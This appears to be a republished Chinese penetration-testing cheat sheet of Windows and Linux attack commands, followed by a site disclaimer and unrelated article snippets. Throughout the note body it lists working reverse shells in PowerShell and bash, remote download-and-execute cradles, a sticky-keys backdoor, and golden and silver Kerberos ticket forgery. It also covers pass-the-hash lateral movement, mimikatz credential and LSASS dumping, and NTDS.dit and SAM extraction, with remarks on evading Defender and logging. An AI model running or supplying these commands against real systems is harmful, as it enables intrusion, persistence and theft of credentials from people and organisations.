小笔记(1)

反弹监听

# PowerShell反弹命令
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 80);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
# NC监听命令
nc -lvnp 80
# PowerShell反弹命令(会被Windows Defender拦截)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# NC监听命令
nc -lvnp 80

压缩解压

# 7Z压缩文件
7z.exe a OutputFile InputFile
# 7Z解压文件
7z.exe x InputFile OutputFile
# RAR压缩文件
rar.exe a OutputFile InputFile
# RAR解压文件
rar.exe x InputFile OutputFile

搜索/查找文件

where /R C:\ password.txt
cd /d C:\ && dir /b /s password.txt
​
findstr /s /i /n /d:C:\ /c:"password" file.txt

上传下载文件

# PowerShell下载文件
powershell (new-object System.Net.WebClient).DownloadFile("http://127.0.0.1/file.txt","C:\")
​
# Certutil下载文件
certutil.exe -urlcache -split -f http://127.0.0.1/file.txt C:\
​
# Bitsadmin下载文件
bitsadmin /transfer n http://127.0.0.1/file.txt C:\
​
# 利用VBS下载文件
# 首先将下面内容写入目标机器
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.serverXMLHTTP")
http.SetOption 2,13056
http.open "GET","http://127.0.0.1/file.txt",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\"
ado.Close
# 之后执行如下命令运行VBS脚本
cscript 1.vbs
​
# Rundll32下载文件
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://127.0.0.1/file.txt",false);Object.send();if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");Stream.Open();Stream.Type=1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("C:\",2);Stream.Close();}

权限维持

# 粘滞键后门
pushd C:\windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
​
# 克隆账号
# 将一个账号当前的权限以及账号相关信息克隆到另外一个新账户中, 如果被克隆账号被禁用, 则无法克隆
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Create-Clone.ps1'); Create-Clone -u support -p P@ssw0rd
​
​
# 伪造黄金票据(伪造TGT)
# 伪造条件:需要伪造的域管理员用户名、完整的域名、域SID、krbtgt的NTLM Hash或AES-256值
# 注意事项:伪造用户可以是任意用户(TGT的加密是由krbtgt完成的,只要TGT被krbtgt账户密码正确加密,那么任意KDC使用krbtgt解密TGT中的信息也是可信的)
# 获取管理员账号
net group "domain admins" /domain
# 获取域名
ipconfig /all
# 获取域SID
wmic useraccount get name,sid //获取域内所有用户sid
whomai /user //获取当前用户sid
# 导出krbtgt的ntml hash (使用mimikatz工具的dcsysc功能远程转储活动目录的ntds.dit并导出krbtgt账号信息)
minikatz.exe "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit
# 清空票据 mimikatz中输入如下命令
kerberos::purge 或者 klist purge
# 生成票据
kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-593020204-2933201490-533286667 /krbtgt:8894a0f0182bff68e84bd7ba767ac8ed /ticket:golden.kiribi
# 传递票据并注入(如果上一步用的/ptt参数就跳过这一步)
Kerberos::ptt golden.kiribi
# 查看当前会话中的票据
Kerberos::tgt
# 验证权限
dir \\dc\c$
​
​
# 伪造白银票据(伪造TGS)
# 伪造条件:域名、域SID、需要伪造的用户名、目标服务器的FQDN(Fully Qualified Domain Name) //全限定域名:同时带有主机名和域名的名称、可利用的服务、服务账号的NTML Hash
# 注意事项:票据20分钟内有效,过期之后可以再次导入、银票是伪造的TGS,所以没有与域控制器通信、白银票据仅限于特定服务器上的任何服务、产生任何事件日志都在目标服务器上
# 获取域名
ipconfig /all
# 获取域SID
wmic useraccount get name,sid //获取域内所有用户sid
whomai /user //获取当前用户sid
# 获取服务账号的NTML Hash
Mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit // 需要管理员权限
# 清空票据 mimikatz中输入如下命令
kerberos::purge
# 生成票据
mimikatz "kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt" exit
白银票据需要的参数:
/target: 目标服务器的FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号".")
/service: 运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等
/rc4: 服务的NTLM散列(计算机帐户或用户帐户)
# 查看当前会话中的票据
Kerberos::tgt
# 验证权限
dir \\dc\c$

横向移动

# 开启UAC后, 只有本地管理员组里的账户能pth。域Domain admin默认在本地管理员组
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
​
# 445端口SMB哈希传递
# 使用impacket套件的psexec.exe工具:
# 需要开放445端口, 此方法已被杀软列入黑名单
# 需要远程系统开启admin$共享(默认是开启的)
# 在使用PsExec执行命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。但创建或删除服务时会产生大量的日志
# -accepteula:第一次运行PsExec会弹出确认框,使用该参数就不会弹出确认框
# -s:以system权限运行远程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个administrator权限的shell。
psexec.exe /accepteula /s \\127.0.0.1 -u cloud/administrator -p P@ssw0rd -s cmd
​
# 使用impacket套件的mmcexec工具:
mmcexec.exe -hashes e10adc3949ba59abbe56e057f20f883e cloud/administrator@127.0.0.1
​
# 使用impacket套件的smbclient工具:
smbclient.exe cloud/administrator:P@ssw0rd@127.0.0.1
smbclient.exe -hashes e10adc3949ba59abbe56e057f20f883e cloud/administrator@127.0.0.1
​
# 135端口WMI哈希传递
# 使用impacket套件的wmiexec工具:
# 在使用wmiexec进行横向移动时,Windows操作系统默认不会产生日志,此方法比PsExec隐蔽性要更好一些
wmiexec.exe cloud/administrator:P@ssw0rd@127.0.0.1
wmiexec.exe -hashes :e10adc3949ba59abbe56e057f20f883e cloud/administrator@127.0.0.1
​
# 查看远程计算机进程
tasklist /S 192.168.31.17 /U domain\administrator /P /V

内网渗透

# 查看本地密码策略
net accounts
net accounts /domain
​
# 获取域信任信息
nltest /domain_trusts
​
# 获得域管理员列表
net group "domain admins" /domain
# 获得域控制器列表
net group "domain controllers" /domain
# 获得所有域成员计算机列表
net group "domain computers" /domain
​
# 识别开机启动的程序
wmic startup list full
# 查看启动程序信息
wmic startup list brief 
# 查看安装程序和版本信息
wmic product list brief
# 获取软件安装路径
wmic process where(description="mysqld.exe")
​
# 查看是否支持posershell
if defined PSModulePath (echo 支持powershell) else (echo 不支持powershell)
# 查看系统是32位还是64位
echo %PROCESSOR_ARCHITECTURE%

文件传输

# Windows上传文件到Linux
scp -r C:\Users\Administrator\Desktop\file.rar root@192.168.10.10:/tmp

凭证获取

mimikatz.exe "log hash.txt" "privilege::debug" "sekurlsa::logonPasswords" "exit"
mimikatz.exe "log hash.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"# 利用具有微软签名的DumpMinitool.exe工具导出内存
# --file 保存的文件名
# --processId lsass.exe 进程号
DumpMinitool.exe --file dump.txt --processId 948 --dumpType Full# 获取系统保存的RDP密码
# 查询远程连接记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
# 解密出明文RDP连接密码, mimikatz执行如下命令:
privilege::debug
dpapi::cred /in:{凭证文件}
sekurlsa::dpapi
dpapi::cred /in:{凭证文件} /masterkey:{MasterKey}
exit# 获取系统保存的VPN密码
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
# 获取系统连接的WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear# 获取系统连接的WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear# 卷影拷贝获取域控凭证, 此方法支持windows server 2003、2008、2012
# 第一步:创建快照 产生的快照GUID为:{850bc5ab-7620-48fa-bd1f-c23c8150a3f0}
ntdsutil.exe snapshot "activate instance ntds" create quit quit
# 第二步:加载快照 快照位置:C:\$SNAP_202009222211_VOLUMEC$\
ntdsutil.exe snapshot "mount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" quit quit
# 第三步:复制快照中的ntds.dit文件
copy 'C:\$SNAP_202009222211_VOLUMEC$\Windows\NTDS\ntds.dit' C:\ntds.dit
# 第四步:删除快照
ntdsutil.exe snapshot "List All" quit quit
ntdsutil.exe snapshot "umount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" "delete {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" quit quit
ntdsutil.exe snapshot "List All" quit quit# 利用注册表离线导出Hash
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\security security.hiv
# 使用mimikatz解密Hash
mimikatz.exe "log hash.txt" "lsadump::sam /system:system.hiv /sam:sam.hiv /security security.hiv" exit

反弹shell(bash)

配置: 

 监听:nc -lvnp 8080

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

复制

bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1

复制

exec 5<>/dev/tcp/127.0.0.1/8080;cat <&5 | while read line; do 2>&5 >&5; done

复制

exec /bin/sh 0</dev/tcp/127.0.0.1/8080 1>&0 2>&0

复制

0<&196;exec 196<>/dev/tcp/127.0.0.1/8080; sh <&196 >&196 2>&196

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/42404.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

17.优化算法之解决拓扑排序4

0.基础 1.课程表1 207. 课程表 - 力扣&#xff08;LeetCode&#xff09; class Solution {public boolean canFinish(int n, int[][] p) {// 1. 准备⼯作int[] in new int[n]; // 统计每⼀个顶点的⼊度Map<Integer, List<Integer>> edges new HashMap<>…

第六十周:文献精读

目录 摘要 Abstract 文献阅读&#xff1a;可解释多水平时间序列预测的时间融合Transformer 一、多水平预测&#xff08;Multi-horizon forecasting&#xff09; 二、过去相关研究 三、现存问题 四、提出方法 五、模型架构 1、门控残差网络(GRN) 2、变量选择网络 3、…

android中activity与fragment之间的各种跳转

我们以音乐播放、视频播放、用户注册与登录为例【Musicfragment&#xff08;音乐列表页&#xff09;、Videofragment&#xff08;视频列表页&#xff09;、MusicAvtivity&#xff08;音乐详情页&#xff09;、VideoFragment&#xff08;视频详情页&#xff09;、LoginActivity&…

开始尝试从0写一个项目--后端(二)

实现学生管理 新增学生 接口设计 请求路径&#xff1a;/admin/student 请求方法&#xff1a;POST 请求参数&#xff1a;请求头&#xff1a;Headers&#xff1a;"Content-Type": "application/json" 请求体&#xff1a;Body&#xff1a; id 学生id …

OneFormer

按照INSTALL.md无法安装natten&#xff0c;不建议复现

1120 买地攻略

solution 土地需要连续&#xff0c;联想到用前缀和。用前缀和表示前i块土地的总价钱&#xff0c;易得任意片连续的土地价格 #include<iostream> using namespace std; const int maxn 1e4 10; int main(){int n, m, price[maxn] {0}, ans 0;scanf("%d%d"…

网络状态的智能感知:WebKit 支持 Network Information API 深度解析

网络状态的智能感知&#xff1a;WebKit 支持 Network Information API 深度解析 在现代 Web 应用中&#xff0c;理解用户的网络连接状态对于提供适应性体验至关重要。Network Information API&#xff0c;一个新兴的 Web API&#xff0c;允许 Web 应用访问设备的网络信息&…

creature_template_movement

creature_template_movement CreatureId 链接 creature_template.entry HoverInitiallyEnabled creature 模板是否允许初始悬浮状态&#xff0c;取值 0 / 1 Chase creature 模板的追逐运动状态 0&#xff1a;奔跑1&#xff1a;可行走2&#xff1a;始终行走 Random creature 模板…

IT高手修炼手册(4)PowerShell命令

一、前言 PowerShell是一个功能强大的命令行界面和脚本环境&#xff0c;它允许用户管理Windows操作系统和应用程序。 二、文件和目录操作 Get-ChildItem&#xff1a;列出指定路径下的文件和文件夹。简写为ls或dir。 Copy-Item&#xff1a;复制文件和文件夹。简写为copy或cp。 M…

python基础篇(8):异常处理

在Python编程中&#xff0c;异常是程序运行时发生的错误&#xff0c;它会中断程序的正常执行流程。异常处理机制使得程序能够捕获这些错误&#xff0c;并进行适当的处理&#xff0c;从而避免程序崩溃。 1 错误类型 代码的错误一般会有语法错误和异常错误两种&#xff0c;语法错…

Python文件写入操作

本套课在线学习视频&#xff08;网盘地址&#xff0c;保存到网盘即可免费观看&#xff09;&#xff1a; ​​https://pan.quark.cn/s/b19a7c910cf6​​ 在Python编程中&#xff0c;文件操作是一项基础且重要的技能。本文将详细介绍如何使用Python将列表内容写入文件以实现文件…

openmv的modbus0x10功能码疑问

代码位于&#xff1a;openmv/scripts/libraries/modbus.py https://github.com/openmv/openmv/blob/master/scripts/libraries/modbus.py REQUEST self.uart.read()if debug:print("GOT REQUEST: ", REQUEST)additional_address REQUEST[0]error_check REQUEST[-…

演化计算的学习

一、概念 演化计算是一种基于生物进化原理的计算方法&#xff0c;旨在通过模拟自然选择、遗传变异和繁殖等生物进化过程来解决复杂的优化问题。 它主要包括遗传算法、进化策略和遗传编程等。遗传算法通过对染色体&#xff08;解的编码&#xff09;的操作&#xff0c;如选择、交…

数据统计与数据分组18-25题(30 天 Pandas 挑战)

数据统计与数据分组 1. 知识点1.18 分箱与统计个数1.19 分组与求和统计1.20 分组获取最小值1.21 分组获取值个数1.22 分组与条件查询1.23 分组与条件查询及获取最大值1.24 分组及自定义函数1.25 分组lambda函数统计 2. 题目2.18 按分类统计薪水&#xff08;数据统计&#xff09…

ESP32CAM物联网教学10

ESP32CAM物联网教学10 MicroPython 应用体验 小智偶然地发现&#xff0c;有一种新兴的编程模式MicroPython&#xff0c;也能编写ESP32Cam的应用程序了&#xff0c;于是欣然地体验了一把。 编程环境搭建 小智偶然地从下面这家店铺买了一块ESP32Cam&#xff0c;并从客服那里得到…

Angular基础保姆级教程 - 1

Angular 基础总结&#xff08;完结版&#xff09; 1. 概述 Angular 是一个使用 HTML、CSS、TypeScript 构建客户端应用的框架&#xff0c;用来构建单页应用程序。 Angular 是一个重量级的框架&#xff0c;内部集成了大量开箱即用的功能模块。 Angular 为大型应用开发而设计…

花所Flower非小号排名20名下载花所Flower

1、Flower花所介绍 Flower花所是一家新兴的数字货币交易平台&#xff0c;致力于为全球用户提供安全、便捷的交易体验。平台以其强大的技术支持和丰富的交易产品闻名&#xff0c;为用户提供多样化的数字资产交易服务&#xff0c;涵盖了主流和新兴数字货币的交易需求。 2. Flowe…

安全与环境学报

《安全与环境学报》 创刊于2001年&#xff0c;是安全与环境学科的学术性月刊&#xff0c;国内外公开发行&#xff0c;刊号为ISSN 1009-6094、CN 11-4537/X&#xff0c;由北京理工大学、中国环境科学学会和中国职业安全健康协会主办&#xff0c;第十一、十二届全国人大常委会委员…

怎样让家长单独查到自己孩子的期末成绩?

期末考试的钟声已经敲响&#xff0c;随着最后一份试卷的收卷&#xff0c;学生们的紧张情绪渐渐平息。然而&#xff0c;对于老师们来说&#xff0c;这仅仅是另一个忙碌周期的开始。成绩的统计、分析、反馈&#xff0c;每一项工作都不容小觑。尤其是将成绩单一一私信给家长&#…

静态路由只配置下一跳与同时配置下一跳和出接口的区别

配置静态路由时&#xff0c;可以指定出接口或下一跳地址&#xff0c;具体取决于情况。 实际上&#xff0c;所有路由项都需要明确下一跳地址&#xff0c;因为在发送报文时&#xff0c;首先根据报文的目的地址寻找路由表中与之匹配的路由&#xff0c;只有指定了下一跳地址&#…